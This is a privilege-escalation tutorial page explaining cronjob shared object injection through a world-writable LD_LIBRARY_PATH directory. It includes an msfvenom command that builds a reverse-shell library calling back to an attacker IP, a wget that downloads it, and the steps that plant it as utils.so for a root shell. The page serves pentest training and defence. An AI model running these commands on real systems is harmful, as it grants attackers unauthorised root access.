Cronjob SO Injection
Cronjob Shared Object Injection is a privilege escalation technique that exploits how scheduled tasks run by the cron daemon handle shared library loading. Cronjobs executed as root
or privileged users may inherit environment variables such as LD_LIBRARY_PATH
, which instructs the dynamic linker where to search for shared libraries. If this path includes directories writable by non-privileged users, or if it points to missing or replaceable libraries, an attacker can inject a malicious shared object (.so
file). When the cronjob runs, it loads the attacker-controlled shared library, resulting in code execution with the cronjob’s privileges.
# Show the contents of the system-wide crontab configuration
$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
# Non-standard library directories
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
* * * * * root /usr/bin/log-sweeper # Runs every minute
# List the details of the log-sweeper binary
$ ls -la /usr/bin/log-sweeper
-rwxr-xr-x. 1 root root 8800 Sep 4 2020 /usr/bin/log-sweeper
The directories listed in LD_LIBRARY_PATH
include /usr/local/lib/utils
containing utils.so
and /usr/local/lib/dev
, which is world-writable:
# Check the permissions of the target directories
$ ls -ld /usr/local/lib/utils
drwxr-xr-x. 2 root root 22 Sep 4 2020 /usr/local/lib/utils
$ ls -ld /usr/local/lib/dev
drwxrwxrwx 2 root root 6 Sep 7 2020 /usr/local/lib/dev # World-writable
# List the directory's contents
$ ls -la /usr/local/lib/utils
-rwxr-xr-x. 1 root root 8248 Sep 4 2020 utils.so
Running ldd
on log-sweeper
shows it requires utils.so
, but the linker fails to find it due to a missing or misconfigured library:
The ldd
command shows utils.so => not found
because it only searches the system’s standard library paths and does not consider the LD_LIBRARY_PATH
environment variable. Since utils.so
is located in a non-standard directory specified by LD_LIBRARY_PATH
, ldd
cannot locate it. However, when the cronjob runs, it inherits the custom LD_LIBRARY_PATH
, allowing the dynamic linker to find and load utils.so
from the specified directories.
# List the shared library dependencies for log-sweeper
$ ldd /usr/bin/log-sweeper
linux-vdso.so.1 => (0x00007ffe88d95000)
utils.so => not found
libc.so.6 => /lib64/libc.so.6 (0x00007ff9e29e0000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff9e2dae000)
The missing utils.so
in the default library paths can be hijacked by placing a malicious shared object with the same name in a writable directory that appears earlier in the LD_LIBRARY_PATH
. This allows loading the attacker’s payload instead of the legit library.
# Generate a reverse shell shared object
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=80 -f elf-so -o revshell.so
Next, the malicious library can be transferred to the target, assigned executable permission and copied to /usr/local/lib/dev
:
The cronjob executes /usr/bin/log-sweeper
with an LD_LIBRARY_PATH
that includes both /usr/local/lib/dev
and /usr/local/lib/utils
. Although the legitimate utils.so
resides in /usr/local/lib/utils
, the dynamic linker searches the directories in order and loads the first matching library it finds. Since /usr/local/lib/dev
appears before /usr/local/lib/utils
and is world-writable, the malicious library will be loaded instead of the legitimate one, enabling code execution with the cronjob’s privileges.
# Download the malicious shared object and rename it to utils.so
$ wget http://192.168.45.170/revshell.so -O utils.so
# Set executable permissions on utils.so
$ chmod +x utils.so
# Copy the malicious shared object to the writable library path directory
$ cp utils.so /usr/local/lib/dev/
# Confirm the file is in place
$ ls /usr/local/lib/dev/
utils.so
Triggering the cronjob execution will load the malicious utils.so
, spawning a reverse root
shell.
Last updated
Was this helpful?